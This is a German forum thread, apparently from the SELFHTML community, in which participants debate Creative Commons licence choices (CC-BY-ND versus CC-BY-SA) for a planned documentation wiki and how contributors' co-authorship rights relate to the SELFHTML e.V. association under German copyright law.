          Die Erfahrung sollte uns doch gelehrt haben, dass eine möglichst liberale Lizenzpolitik der Verbreitung gewisser Ideen (und ich denke schon, dass SelfHTML eine gewisse Idee, also Philosophie transportieren möchte) nur hilfreich ist.

          Ebenso hat aber die Erfahrung gelehrt, dass zu lachse Regeln dazu genutzt werden, sie nach eigenem Geschmack zu verstehen, was sich nicht immer mit der "allgemeiner Auffassung" derselbigen deckt.

          Eine Lizenz zu formulieren, unter der die Mitautoren ihre Beiträge SELFHTML zur Nutzung, auch zur kommerziellen, zur Verfügung stellen, *ohne* dass damit das „Gesamtpaket“ von aussenstehenden Dritten kommerziell genutzt werden darf, sollte doch wohl möglich sein.

          SELFHTML durfte auch bisher kommerziell genutzt werden, jedoch mit einigen wenigen Einschränkungen.

          Grüße
          Thomas

          1. Hallo!

            Ebenso hat aber die Erfahrung gelehrt, dass zu lachse Regeln dazu genutzt werden, sie nach eigenem Geschmack zu verstehen, was sich nicht immer mit der "allgemeiner Auffassung" derselbigen deckt.

            SELFHTML durfte auch bisher kommerziell genutzt werden, jedoch mit einigen wenigen Einschränkungen.

            Daher frage ich mich, ob CC-NC die gegenwärtigen erlaubten und gewünschten Nutzungsmöglichkeiten einschränken würde. Wie wäre es z.B., wenn eine Zeitschrift Selfhtml auf einer CD beilegen will? Oder eine kommerzielle Linux-Distribution es mit ausliefern will? Hätten Dokumentationen mit CC-NonCommercial da eine Chance oder wäre diese Verbreitung schon verboten? Das nur als zu klärende Frage.

            Die bisherigen Horrorszenarien wie »Jeder könnte Selfhtml 9 als Buch veröffentlichen, omgwereallgonnadie!« halte ich eher für unrealistisch. Bitte, wer veröffentlicht denn mal so eben Bücher? Auf so etwas würden sich die großen Fachbuchverlage auch gar nicht einlassen. Und wenn irgendjemand ein winziges Book-on-demand mit S9 aufzieht: Geschenkt.

            Realistisch ist das, was die gegenwärtige Lizenz schon abdeckt und regelt. Z.B. könnte man im Falle von CC-BY-SA niemanden davon abhalten, eine Selfhtml-Kopie mit Werbung online zu stellen, wie es auch tausendfach mit der Wikipedia passiert. Na und? Der Wikipedia hat das nicht geschadet. Dagegen hat die Wikipedia pragmatische und wirksame Lösungen. Das »BY« in CC-BY-SA heißt, dass eine genaue Quellenangabe Pflicht ist. So verlinken hunderte Sites auf den Originalartikel, was dem Original nur einen Boost gibt.

            CC-BY-SA +1
            Mathias

            1. Hallo,

              Daher frage ich mich, ob CC-NC d

              Ich möchte hier klar und deutlich hervorheben, dass niemand von uns von NC (non commercial) gesprochen hat. Das ist nur hier bei einigen im Zuge der Diskussion aufgeworfen worden und darauf hat man fröhlich weiter um NC diskutiert ohne sich darum zu kümmern, dass wir nie darüber gesprochen haben.

              Ich hoffe damit ist das Thema "NC" vom Tisch und die Diskutanten sich nun interessanteren Alternativen zuwenden, wie z.B. BY-ND, BY-SA oder ähnliches, denn die Meinungen dazu interessieren uns wirklich.

              Grüße
              Thomas

    13. Hallo!

      Nach dem letzten Redaktionschat gestern möchte ich hier nun gerne den aktuellen Stand beschreiben.

      Folgende Dinge mussten/müssen noch getan werden, damit das Wiki online gehen kann:

      1. Lizenz klären (ist erfolgt, siehe weiter unten)
      2. Grundstruktur ins Wiki übernehmen - damit man auch schon sehen kann was ungefähr wo hinsoll (ist natürlich veränderbar, aber man sollte sich schon orientieren können)
      3. einige technische Dinge müssen noch getan werden (Sicherheit, u.a. ein kurzer Code Review der installierten Erweiterungen)
      4. Begrüßungsseite für Leute die mitmachen möchten (ist bereits in Arbeit)
      5. Hilfe zur Wiki-Syntax (in Arbeit)

      Gestern haben wir uns insbesondere um die Lizenz Gedanken gemacht. Hierzu haben wir uns alle Creative Commons Lizenzen durchgesehen. Da gibt es:
       - BY
       - BY-SA
       - BY-SA-NC
       - BY-ND
       - BY-NC
       - BY-NC-ND

      Alle Lizenzen mit "NC" (non-commercial) fallen schon mal raus, da die kommerzielle Nutzung des Werkes grundsätzlich möglich sein sollte. Zudem ist "NC" nicht eindeutig definiert. Was ist z.B., wenn heise eine CD mit einer SELFHTML-Version veröffentlichen möchte? Außerdem käme es bei NC zu solchen Grauzonen wie: "Kann ich das SELF-Beispiel auch als Freiberufler für meinen Kunden anwenden?" Da gibt es noch zahlreiche weitere Beispiele.
      BY fällt auch weg, da es jedem das nahezu uneingeschränkte Recht über die Inhalte gibt.
      BY-SA erlaubt es, die Inhalte wieder zu verändern und an anderer Stelle zu veröffentlichen. Das möchten wir gerne vermeiden. Das Problem ist auch bei Wikipedia bekannt. BY-ND wäre also die Lizenz, die durch dieses Ausschlussverfahren übrig bleibt.

      Mit ein paar Ausnahmen dazu haben wir uns jetzt folgendes Regelwerk überlegt:
      (1) Der Inhalt des Wikis steht unter der Lizenz CC-BY-ND
      (2) Das Wiki steht jedem Interessierten zur Bearbeitung offen, mit der Registrierung stimmt man zu, dass:
        (a) Der Verein SELFHTML e.V. die eingetragenen Inhalte unter der Lizenz CC-BY-ND veröffentlichen darf.
        (b) Der Verein SELFHTML e.V. die Inhalte im Wiki verwerten darf, um ein Buch draus zu machen (natürlich besser formuliert)
        (c) Der Verein SELFHTML e.V. bei Auflösung die Inhalte unter der Lizenz CC-BY-SA veröffentlichen darf. (Erklärung: damit wären die Inhalte des Wikis in diesem hypothetischem Fall nicht verloren)
      (3) Im Übrigen behalten Autoren die Rechte an Ihren Texten. (Erklärung: natürlich dürfen sie eigene geschriebene Texte auch auf ihrer Seite oder sonstwo veröffentlichen und damit anstellen was sie wollen, z.B. bei Artikeln)

      Diese Regeln decken unserer Meinung nach die meisten Fälle ab. Und vor allem sind sie klar und verständlich formuliert, sodass auch Nicht-Juristen sie verstehen können. :-)

      Soviel zum aktuellen Status. Ich melde mich wieder sobald es Neues gibt.

      Freundliche Grüße

      Marc Reichelt || http://www.marcreichelt.de/

      --
      DPRINTK("Last time you were disconnected, how about now?");
              linux-2.6.6/drivers/net/tokenring/ibmtr.c
      Selfcode: ie:{ fl:| br:> va:} ls:< fo:} rl:( n4:( ss:) de:> js:| ch:? sh:| mo:) zu:)
      1. Hi!

        (3) Im Übrigen behalten Autoren die Rechte an Ihren Texten. (Erklärung: natürlich dürfen sie eigene geschriebene Texte auch auf ihrer Seite oder sonstwo veröffentlichen und damit anstellen was sie wollen, z.B. bei Artikeln)

        Nach meinem Verständnis des Urheberrechts müsste der Text des Autors dann aber ein Werk sein, also eine gewisse Schöpfungshöhe erreicht haben und klar abgrenzbar sein. Das Mitarbeiten am allgemeinen Werk, auch wenn er ganze Seiten zu Wiki-Lemmata schreibt, dürfte das nicht erfüllen. Und schon gar nicht, wenn er nur kleine und kleinste Änderungen vornimmt. Bei allen "nur mitgearbeiteten" Texten tritt er ja sowieso schon die Verwertungsrechte zugunsten von CC-BY-ND/CC-BY-SA ab.

        Dieser dritte Punkt sollte meiner Meinung nach nicht nur "_z.B._ für Artikel" gelten, sondern gerade für diese und Vergleichbares. Wenn man - vor allem bei namentlicher Nennung - einen Artikel verfasst, bei dem es um eine Meinung geht, sähe ich es als nicht besonders günstig an, wenn jederman dieser Meinung die Wörter im Munde umdrehen kann. Trotz Wiki müsste es dann auch noch einen nichteditierbaren Bereich geben oder zumindest müsste der Autor diesen seinen Artikel sperren können. Wobei das nicht im Bereich der Referenz geschehen sollte sondern eben nur in einem zusätzlichen Artikelbereich geschehen darf. (Bezüge von und zu betreffenden Lemmata kann man ja durch Hin-und-Her-Verlinkungen herstellen, aber das ist ja kein primär rechtliches Thema.)

        Lo!

        1. Hallo,

          (3) Im Übrigen behalten Autoren die Rechte an Ihren Texten. (Erklärung: natürlich dürfen sie eigene geschriebene Texte auch auf ihrer Seite oder sonstwo veröffentlichen und damit anstellen was sie wollen, z.B. bei Artikeln)
          Nach meinem Verständnis des Urheberrechts müsste der Text des Autors dann aber ein Werk sein, also eine gewisse Schöpfungshöhe erreicht haben und klar abgrenzbar sein. Das Mitarbeiten am allgemeinen Werk, auch wenn er ganze Seiten zu Wiki-Lemmata schreibt, dürfte das nicht erfüllen. Und schon gar nicht, wenn er nur kleine und kleinste Änderungen vornimmt. Bei allen "nur mitgearbeiteten" Texten tritt er ja sowieso schon die Verwertungsrechte zugunsten von CC-BY-ND/CC-BY-SA ab.

          ich bin kein Jurist und kann das daher nicht wirklich beurteilen. Wenn es aber tatsächlich darauf hinauslaufen sollte, dass man als Mitwirkender die Rechte am eigenen Beitrag abtritt und somit das, was man der Allgemeinheit da zur Verfügung gestellt hat, nicht mehr selbst als *eigene* Leistung verwerten darf, wäre das für mich ein absolutes KO-Kriterium.
          Die Verwertungsrechte des Autors selbst dürfen IMHO nicht dadurch beschnitten werden, dass er etwas im Rahmen des SELFHTML-Wiki veröffentlicht.

          So long,
           Martin

          --
          Männer sind ungerecht: Sie sehen immer nur den Baum, den eine Frau mit dem Auto gerammt hat. Aber die vielen Bäume, die sie nicht einmal gestreift hat, sehen sie nicht.
          1. Hi!

            Die Verwertungsrechte des Autors selbst dürfen IMHO nicht dadurch beschnitten werden, dass er etwas im Rahmen des SELFHTML-Wiki veröffentlicht.

            Ich beginne mal mit einem Zitat des §8 UrhG: (1) Haben mehrere ein Werk gemeinsam geschaffen, ohne daß sich ihre Anteile gesondert verwerten lassen, so sind sie Miturheber des Werkes.

            Man muss da nach meinem Wissensstand unterscheiden zwischen einem eigenständigen Werk und einem, an dem man "nur" mitgearbeitet hat. Eine Beschreibung eines HTML-Elements, die zu einer HTML-Referenz gehört, wird sich nicht gesondert verwerten lassen. Für einen Artikel zum neuen Element <eggwoolmilkpig>, das in der nächsten Version von HTML erscheinen soll, und wenn dieser Artikel in Art und Umfang in etwa einem Fachzeitschriftenartikel entspricht, dann sehe ich da eine Möglichkeit zur gesonderten Verwertung. Man dürfte dann Urheber (ohne Mit-) des Artikels/Werkes sein. Wenn dieser Artikel allerdings mit weltweiten Schreibrechten versehen wäre, so würde man früher oder später "zum Miturheber degradiert" werden.

            Lo!

            1. Lieber dedlfix,

              wie kann man sich hier wieder ver capriolizieren (wenn es das Wort überhaupt gibt)?!

              Was spricht denn dagegen, dass Autoren ihre aus ihrer (Teil-/Mit-)Urheberschaft rührenden Rechte komplett an den Verein SELFHTML e.V. abgeben, der zusichert, dass die Doku unter die bereits diskutierte (und anscheinend schon beschlossene) Variante der CC-Lizenz gestellt wird? Da die Doku und der Verein auf dem Gedanken der freien Software und des freien Wissens gründen (oder hatte ich da etwas falsch verstanden bzw. nicht mitbekommen?), sehe ich da keinen Widerspruch, wenn Autoren im Wiki nur schreiben können, wenn sie sich im Klaren darüber sind, dass sie auf irgendwelche exklusiven Urheber- oder sonstigen (Verwertungs)Rechte eben _verzichten_, wenn sie zur Doku beitragen.

              Man kann sich auch anstellen! Wer ins Wiki schreibt, hilft mit, ein Werk unter einer freien Lizenz zu erstellen, an dem sich niemand bereichern können soll (laut Lizenzmodell), auch Mitautoren nicht - und fertig!

              Artikel wie im Aktuell-Bereich von SELFHTML sind zusätzliche Bestandteile der Doku, die die Meinung eines einzelnen Autors widerspiegeln, und demnach auch nur von diesem Autor bearbeitet werden dürfen/können - gerne auch außerhalb des Wiki (sprich: der Doku). Und dort können dann von mir aus individuelle Lizenztypen eingesetzt werden.

              Als hätte ich mir jemals Gedanken gemacht, welche Rechte ich an meinem Artikel zum Fader-Framework hätte... Ich sehe es als Allgemeingut - und will im Grunde nur, dass da die Namen derer drinnestehen, die an dem Teil mitgewirkt haben, und das war nicht nur ich.

              Wer irgendwelche Rechte an seinen geistigen Ergüssen nicht vollständig an den Verein abtreten will, schreibt eben nix in die Doku.

              Ich bleibe dabei: Keep It Simple Stupid! Keine (für SELFHTML bisher üblichen) Barrieren wegen zuviel (wenn auch nicht unbegründeter) Kopflastigkeit!

              Liebe Grüße,

              Felix Riesterer.

              --
              ie:% br:> fl:| va:) ls:[ fo:) rl:° n4:? de:> ss:| ch:? js:) mo:} zu:)
              1. Hallo Felix,

                Ich bleibe dabei: Keep It Simple Stupid! Keine (für SELFHTML bisher üblichen) Barrieren wegen zuviel (wenn auch nicht unbegründeter) Kopflastigkeit!

                Was wäre euch denn in diesem Sinne lieber? Eine Lizenz der Form, wie wir sie jetzt erarbeitet haben, oder eher nur eine unveränderte CC-BY-SA-Lizenz, wie Wikipedia sie verwendet? Noch ist das Wiki nicht online, und wie gesagt: wir würden gerne Meinungen dazu erhalten. Es ist nur unser bester (und in Gruppe diskutierter) Vorschlag.
                Allerdings sollte man bedenken: Am Ende gibt es immer einen, der sich auf die Füße getreten fühlt. Das lässt sich nie vermeiden - gerade bei so etwas wichtigem wie einer Lizenz. Und genau deshalb würden wir hier gerne etwas haben, das die Meisten begrüßen können.

                Grüße

                Marc Reichelt || http://www.marcreichelt.de/

                --
                DPRINTK("Last time you were disconnected, how about now?");
                        linux-2.6.6/drivers/net/tokenring/ibmtr.c
                Selfcode: ie:{ fl:| br:> va:} ls:< fo:} rl:( n4:( ss:) de:> js:| ch:? sh:| mo:) zu:)
                1. Hallo Marc,

                  Was wäre euch denn in diesem Sinne lieber? Eine Lizenz der Form, wie wir sie jetzt erarbeitet haben, oder eher nur eine unveränderte CC-BY-SA-Lizenz, wie Wikipedia sie verwendet? Noch ist das Wiki nicht online, und wie gesagt: wir würden gerne Meinungen dazu erhalten.

                  der Tenor der by-sa-Lizenz scheint mir zu sein: Ich trete keine Rechte ab, aber lasse andere an meinen Rechten zur Bedingung teilhaben, dass der Wesenskern einer Arbeit nur unter Nennung des Namens des Urhebers veröffentlicht werden darf und unter selben Bedingungen weitergegeben oder bearbeitet wird. Dabei lässt die Lizenz, ohne zu attribuieren, alle Möglichkeiten der Veröffentlichung offen.

                  Der Tenor der by-nd-Lizenz scheint mir zu sein: Ich trete keine Rechte ab, aber lasse andere an meinem Recht der Vervielfältigung, Verbreitung und öffentlichen Ausstellung teilhaben, mache aber die Unveränderlichkeit und namentliche Nennung zur Bedingung.

                  Ausgerechnet die letzte Lizenz, wenn es kein Schreibfehler von Dir war, habt ihr nun zur Basis der Diskussion hier gemacht. Seine Freiherrlichkeit wird sicher einige Wege finden, wenn sie kommen sollte, Euch das Leben schwer zu machen, so er wollte. Denn damit schießt ihr Euch selbst ins Knie, weil durch die Unveränderbarkeit potentiell die Verwertbarkeit der einzelnen Beiträge für eine Buchpublikation riskant ist. Man stelle ich dazu vor, ein im Wiki abgelegter Beitrag beleuchtet ein sehr interessantes/wichtiges Thema, was generell in ein späteres Buch übernommen werden soll. Er sei dabei aber qualitativ nicht so gut, dass er _unverändert_ übernommen werden kann. So, laut Lizenz darf er aber nicht verändert werden. Was nun? Komplett neu schreiben, was auch beinhalten würde, dem Leser auf ganz andere Art oder Sicht dieses Thema zu erschließen, um nicht in Schwierigkeiten zu geraten?

                  Meiner Meinung nach kann hier nur die by-sa tatsächlich als Grundlage für Eure Lizenz taugen.

                  Für mich persönlich wäre es okay, auch auf die namentliche Nennung zu verzichten, was das Buch betrifft. Im Wiki gehe ich ohnehin davon aus, dass die Namen nicht extra von Euch weggebastelt werden. Wichtig ist mir, wie ja deutlich herausgestellt wurde, dass ich meine Beiträge auf eigene Faust auch bspw. auf meinem Webspace veröffentlichen kann.

                  Gruß aus Berlin!
                  eddi

                  1. Hi!

                    Es gibt hier zwei rechtliche Beziehungen. Einmal die zwischen den Autoren/Miturhebern und dem SELFHTML e.V. als Träger des Wikis. Dazu kommt die Beziehung zwischen dem SELFHTML e.V. als Anbieter der Wiki-Inhalte an die Öffentlichkeit und den Nutzern.

                    der Tenor der by-sa-Lizenz scheint mir zu sein: Ich trete keine Rechte ab, aber lasse andere an meinen Rechten zur Bedingung teilhaben, dass der Wesenskern einer Arbeit nur unter Nennung des Namens des Urhebers veröffentlicht werden darf und unter selben Bedingungen weitergegeben oder bearbeitet wird. Dabei lässt die Lizenz, ohne zu attribuieren, alle Möglichkeiten der Veröffentlichung offen.

                    Der Tenor der by-nd-Lizenz scheint mir zu sein: Ich trete keine Rechte ab, aber lasse andere an meinem Recht der Vervielfältigung, Verbreitung und öffentlichen Ausstellung teilhaben, mache aber die Unveränderlichkeit und namentliche Nennung zur Bedingung.

                    Hier sollte nicht das "Ich" als Miturheber stehen sondern "der SELFHTML e.V." als Rechteinhaber. Die Miturheber haben zumindest beim Gemeinschaftswerk Wiki ihre Verwertungsrechte an den SELFHTML e.V. abgetreten.

                    Ausgerechnet die letzte Lizenz, wenn es kein Schreibfehler von Dir war, habt ihr nun zur Basis der Diskussion hier gemacht. [...] Denn damit schießt ihr Euch selbst ins Knie, weil durch die Unveränderbarkeit potentiell die Verwertbarkeit der einzelnen Beiträge für eine Buchpublikation riskant ist.

                    Nö, das sehe ich nicht so. Der SELFHTML e.V. als Rechteinhaber darf auch Änderungen vornehmen. Da dies das Wesen eines Wikis ist, wurde zwischen dem SELFHTML e.V. und seinen Wiki-Mitarbeitern eine Reglung getroffen, die dies erlaubt.

                    Bei "Einzelkämpfer"beiträgen mit expliziter Namensnennung sollte der Autor (oder das Autorenkollektiv) sowohl eine Unveränderlichkeit garantiert bekommen als auch ein Mitspracherecht bei besonderen Verwertungsformen behalten.

                    Man stelle ich dazu vor, ein im Wiki abgelegter Beitrag beleuchtet ein sehr interessantes/wichtiges Thema, was generell in ein späteres Buch übernommen werden soll. Er sei dabei aber qualitativ nicht so gut, dass er _unverändert_ übernommen werden kann. So, laut Lizenz darf er aber nicht verändert werden.

                    Bitte unterscheide zwischen den beiden eingangs genannten Beziehungen. Die CC-Lizenzen betreffen ja nicht das Verhältnis zu den Autoren. Änderbare Wiki-Einträge können aufgrund der Vereinbarung mit den Miturhebern jederzeit geändert werden. Für unveränderliche Einzelkämpferbeiträge sollte im Zweifelsfall zusammen mit dem Autoren(kollektiv) eine weitergehende Verwertung abgestimmt werden.

                    Lo!

                    1. Hallo dedlfix,

                      Es gibt hier zwei rechtliche Beziehungen. Einmal die zwischen den Autoren/Miturhebern und dem SELFHTML e.V. als Träger des Wikis. Dazu kommt die Beziehung zwischen dem SELFHTML e.V. als Anbieter der Wiki-Inhalte an die Öffentlichkeit und den Nutzern.

                      [by-nd-Lizenz...]
                      Nö, das sehe ich nicht so. Der SELFHTML e.V. als Rechteinhaber darf auch Änderungen vornehmen. Da dies das Wesen eines Wikis ist, wurde zwischen dem SELFHTML e.V. und seinen Wiki-Mitarbeitern eine Reglung getroffen, die dies erlaubt.

                      Ja, genau dieser Punkt muss in der Lizenz sehr klar definiert werden. Soweit der Verein Inhaber der Rechte und Herausgeber der Lizenz ist, stimme ich Dir zu. Für mich sieht Marcs Ankündigung zur Diskussion über die Lizenz so aus, dass der jeweilige Autor keinerlei Rechte abtritt. Genau diese zwiespältige Sicht, die sich hier in unser beider Auffassungen wiederspiegelt, darf später nicht entstehen. Das ist mein Anliegen.

                      Gruß aus Berlin!
                      eddi

                  2. Hallo,

                    Der Tenor der by-nd-Lizenz scheint mir zu sein: Ich trete keine Rechte ab, aber lasse andere an meinem Recht der Vervielfältigung, Verbreitung und öffentlichen Ausstellung teilhaben, mache aber die Unveränderlichkeit und namentliche Nennung zur Bedingung.

                    Denn damit schießt ihr Euch selbst ins Knie, weil durch die Unveränderbarkeit potentiell die Verwertbarkeit der einzelnen Beiträge für eine Buchpublikation riskant ist.

                    Entschuldige, aber du hast das BY-ND offenbar nicht verstanden. Weiter oben wurde das schon erläuchtert.

                    Wir (und das ist in diesem Fall schlicht und einfach der SELFHTML e.V. weil "er" der Betreiber des Angebotes ist) sind die Lizenzgeber.
                    Natürlich darf der Lizenzgeber den Schutzgegenstand (das was eben unter der Lizenz steht) bearbeiten und in einem von ihm gewollte Form bringen.

                    Was BY-ND verhindert ist: z.B. dass jemand Teile aus dem Wiki kopiert und darin dann Änderungen macht und es wieder in irgendeiner Form veröffentlicht.

                    Zu den anderen Fragen wird ja bereits weiter oben diskutiert.

                    Grüße
                    Thomas

                    P:s zu gewissen Herren. Der dürfte diese Tage seinen 14 Monatigen "Urlaub" antreten oder angetreten haben.

                    1. Hallo Thomas,

                      Entschuldige, aber du hast das BY-ND offenbar nicht verstanden.

                      Der Punkt ist eindeutig nicht mein Verständnis der zugrunde liegenden Lizenz! Es war unklar, wer Rechtsträger wird. Das ist nun geklärt.

                      Gruß aus Berlin!
                      eddi

              2. Hi!

                Was spricht denn dagegen, dass Autoren ihre aus ihrer (Teil-/Mit-)Urheberschaft rührenden Rechte komplett an den Verein SELFHTML e.V. abgeben, der zusichert, dass die Doku unter die bereits diskutierte (und anscheinend schon beschlossene) Variante der CC-Lizenz gestellt wird? Da die Doku und der Verein auf dem Gedanken der freien Software und des freien Wissens gründen (oder hatte ich da etwas falsch verstanden bzw. nicht mitbekommen?), sehe ich da keinen Widerspruch, wenn Autoren im Wiki nur schreiben können, wenn sie sich im Klaren darüber sind, dass sie auf irgendwelche exklusiven Urheber- oder sonstigen (Verwertungs)Rechte eben _verzichten_, wenn sie zur Doku beitragen.

                Es spricht nichts dagegen, als Miturheber an einem Werk mitzuarbeiten. Man sollte sich nur dabei einig sein, dass nicht irgendeiner der Miturheber aus irgendwelchen Gründen das ganze Werk zu Fall bringen kann. Und genau das muss abgesichert sein, sonst kann das Motto sonstwie frei heißen. Aber hier sehe ich ja auch keine Probleme. Dass das geregelt wird, ging aus dem Punkt (2) von Marcs Posting (unterer Teil) ja schon hervor, und darauf bezog ich mich auch nicht.

                Artikel wie im Aktuell-Bereich von SELFHTML sind zusätzliche Bestandteile der Doku, die die Meinung eines einzelnen Autors widerspiegeln, und demnach auch nur von diesem Autor bearbeitet werden dürfen/können - gerne auch außerhalb des Wiki (sprich: der Doku). Und dort können dann von mir aus individuelle Lizenztypen eingesetzt werden.

                Hier war mir der Punkt (3) zu ungenau. Für mich las er sich so, dass trotz der Abtretung der Verwertungsrechte gemäß (2) die Autoren ihre Verwertungsrechte behalten sollen. Das wäre zum einen ein Widerspruch in sich und auch nicht dem Wiki zuträglich, wenn dort jemand seine Textstellen von einer weiteren Verbreitung ausschließen könnte. Allerdings erwähnte Marc die Artikel, so dass man den Punkt auch so deuten kann, dass nur dafür der Autor gewisse Veto-Rechte behält.

                Hier sähe ich gern eine Klärung, wie dieser Punkt genau zu verstehen ist und wie die Handhabung solcher Artikel geplant ist und hatte als Vorschlag, sowohl die rechtliche als auch die technische Möglichkeit der Trennung zu haben, quasi genauso wie es bisher auch war. Die Redaktion war ein Team von Miturhebern der Doku und einzelne Autoren waren Urheber von Aktuell-Artikeln und Blog-Beiträgen.

                Als hätte ich mir jemals Gedanken gemacht, welche Rechte ich an meinem Artikel zum Fader-Framework hätte... Ich sehe es als Allgemeingut - und will im Grunde nur, dass da die Namen derer drinnestehen, die an dem Teil mitgewirkt haben, und das war nicht nur ich.

                Bei diesen technischen Themen sehe ich auch nicht die Probleme. Die Brisanz liegt bei Themen, bei denen sich die (politische, rechtliche, sowas in der Art) Meinung des Autoren ändern kann und er die weitere Verbreitung seines Textes unterbinden möchte. Das sollte genauso gewährleistet sein wie die Sicherstellung, dass solche Beiträge ungeändert/unverfälscht bleiben. Ansonsten wäre eine Namensnennung höchstens noch in der allgemeinen Liste der Mitwirkenden sinnvoll. Eine Namensnennung bei solchen Artikeln, die von jedem geändert werden können, ist für beide Seiten ungünstig. Der Genannte streicht sich Lorbeeren ein für Dinge, die ein andere schrieben, andererseits ist es auch nicht mehr sein Artikel, zu dem er guten Gewissens mit Namen stehen kann.

                Wer irgendwelche Rechte an seinen geistigen Ergüssen nicht vollständig an den Verein abtreten will, schreibt eben nix in die Doku.
                Ich bleibe dabei: Keep It Simple Stupid! Keine (für SELFHTML bisher üblichen) Barrieren wegen zuviel (wenn auch nicht unbegründeter) Kopflastigkeit!

                Nur anonym und rechtelos mitarbeiten zu können, kann genauso eine Barriere sein.

                Lo!

                1. Lieber dedlfix,

                  dann sind wir im Grunde ja derselben Meinung.

                  (1) Mitwirkung an Teilen der Doku (ich nenne es "Textstellen") bedeutet, dass (Mit-)Autoren keine eigenen Rechte an ihrem Geschriebenem haben, da sie eventuelle Urheberrechte an den Verein abtreten, der dafür aber die Doku unter einer offenen (CC-basierten) Lizenz anbietet.

                  (2) Artikel wie im "Aktuell"-Bereich sind weiterhin "Einzelkämpferprodukte", die den bisher üblichen redaktionellen Weg gegangen sind, und für die dann auch Autoren namentlich stehen können.

                  Eine "Qualitätssicherung" findet in beiden Fällen statt, jedoch ist sie in der Doku weniger offensichtlich, da auch Unbekannte daran mitschreiben können, bei den Artikeln aber (mindestens) eine Person namentlich als Autor genannt wird.

                  Liebe Grüße,

                  Felix Riesterer.

                  --
                  ie:% br:> fl:| va:) ls:[ fo:) rl:° n4:? de:> ss:| ch:? js:) mo:} zu:)
                  1. Hi!

                    (1) Mitwirkung an Teilen der Doku (ich nenne es "Textstellen") bedeutet, dass (Mit-)Autoren keine eigenen Rechte an ihrem Geschriebenem haben, da sie eventuelle Urheberrechte an den Verein abtreten, der dafür aber die Doku unter einer offenen (CC-basierten) Lizenz anbietet.
                    (2) Artikel wie im "Aktuell"-Bereich sind weiterhin "Einzelkämpferprodukte", die den bisher üblichen redaktionellen Weg gegangen sind, und für die dann auch Autoren namentlich stehen können.

                    Sehr schön zusammengefasst. Das ist das, was ich nochmal klarstellen wollte / klargestellt bekommen wollte.

                    Nur damit jetzt keiner über deine Formulierung des ersten Punktes aufschreckt: Gemäß deutschem Recht - so wie ich es verstanden habe - bleibt man immer Urheber. Nur die Nutzungs-/Verwertungsrechte kann man weitergeben, respektive auf "seinen Anteil an den Verwertungsrechten (§ 15) verzichten" (§8(4)), das allerdings widerruflich[*]. Beim Wiki-Editieren ist man allerdings nicht Urheber eines Werkes sondern Miturheber, weil Änderungen in der Regel weder eigenständige Werke bilden, noch sich gesondert verwerten lassen. Bei (kleinen) Beispielen ginge dies zwar, die dürften aber nicht die Schöpfungshöhe erreichen, um als Werk im Sinne des UrhG anerkannt zu werden.

                    [*] zum Beispiel §42 UrhG

                    Lo!

          2. ich bin kein Jurist und kann das daher nicht wirklich beurteilen. Wenn es aber tatsächlich darauf hinauslaufen sollte, dass man als Mitwirkender die Rechte am eigenen Beitrag abtritt und somit das, was man der Allgemeinheit da zur Verfügung gestellt hat, nicht mehr selbst als *eigene* Leistung verwerten darf, wäre das für mich ein absolutes KO-Kriterium.
            Die Verwertungsrechte des Autors selbst dürfen IMHO nicht dadurch beschnitten werden, dass er etwas im Rahmen des SELFHTML-Wiki veröffentlicht.

            Ich habe in BdE-Online ein Publikationsmodul. Damit kann ein Mitglied Artikel in eine Serie stellen und somit eine verlinkbare Artikelserie unter seinem namen öffentlich publizieren.
            Für mich hat sich damals genau das problem gestellt. Ich habe es so gelöst: Der geistige Inhalt der Artikel ist im Eigentum des Autors, die Mittel und Methoden jedoch, welche die Publikation formatiert ausgeben und öffentlich referenzierbar machen, sind es nicht. Diese Methoden sind Eigentum von BdE-Online.
            Mit anderen Worten, es ist dem Outor erlaubt, seine Tipparbeit als sein geistiges Eigentum weiterhin ausserhalb von BdE-Online zu verwerten, nicht aber das publizierte Resultat.

            Ich vermisse in dieser Diskussion diesen Sachverhalt.
            Es sind zweierlei paar Schuhe: Was ein Autor an Ideen in ein Formular eintippt, und was letztlich ausgespukt wird.
            SELFHTML kann kein geistiges Eigentum für die Beschreibung von Webtechniken beanspruchen (wie im übrigen auch sonst kein Autor). SELFHTML kann aber rechte bezüglich der Formalen Präsentation geltend machen. Und hier gilt es klar zu sehen, was es zu schützen gilt im Sinne der öffentlichen Nutzens ist der Mehrwert in der Organisation der Inhalte.

            Wenn jemand Inhalte in eine Buchform bringt, dann leistet er genau diese selbständige Arbeit.

            Wenn SELFHTML formal fertige Versionen zum Download anbietet, dann muss es den Status dieser Form rechtlich beschreiben. Solche Seiten dürfen nicht einfach ohne eine Lizenz irgendwo anders gehostet werden.

            Anderseits kann man dem WIKI-Autoren nicht die eigene Nutzung seiner Beiträge vorenthalten. Die Frage ist lediglich, wie das formale Verhältnis ist.
            In BdE-Online können in eine Publikation Datenbankabfragen einfliessen. Diese sind eine Dienstleitung von BdE-Online, die der Autor nutzt.
            Im gleichen Sinne nutzt der Autor im WIKI- die durch SELFHTML gehosteten Instrumente.

            mfg Beat

            --
            ><o(((°>           ><o(((°>
               <°)))o><                     ><o(((°>o
            Der Valigator leibt diese Fische
            1. Hi!

              (Alles nachfolgende basiert auf meinem Verständnis der Rechtslage, auch wenn ich es im absoluten Stil formuliere.)

              Ich habe in BdE-Online ein Publikationsmodul. Damit kann ein Mitglied Artikel in eine Serie stellen und somit eine verlinkbare Artikelserie unter seinem namen öffentlich publizieren.

              Dann hast du also mehr oder weniger selbständig verwertbare Werke. Das ist bei einem Gemeinschafts-Wiki nicht der Fall. Da zählt das Gesamtwerk.

              Für mich hat sich damals genau das problem gestellt. Ich habe es so gelöst: Der geistige Inhalt der Artikel ist im Eigentum des Autors, die Mittel und Methoden jedoch, welche die Publikation formatiert ausgeben und öffentlich referenzierbar machen, sind es nicht. Diese Methoden sind Eigentum von BdE-Online.
              Mit anderen Worten, es ist dem Outor erlaubt, seine Tipparbeit als sein geistiges Eigentum weiterhin ausserhalb von BdE-Online zu verwerten, nicht aber das publizierte Resultat.

              Bei einem Text (von (einem) einzelnen Autoren) kommt es nicht auf die Formatierung an. Der/die Autoren bleibt Urheber, egal wie du es formatierst. Ebenso untersteht die Gestaltung der Plattform auf der er veröffentlich wird dem jeweiligen Rechteinhaber. Jeder kann über die Verwertung seines Teil bestimmen, so er gesondert verwertbar ist.

              Ich vermisse in dieser Diskussion diesen Sachverhalt.
              Es sind zweierlei paar Schuhe: Was ein Autor an Ideen in ein Formular eintippt, und was letztlich ausgespukt wird.

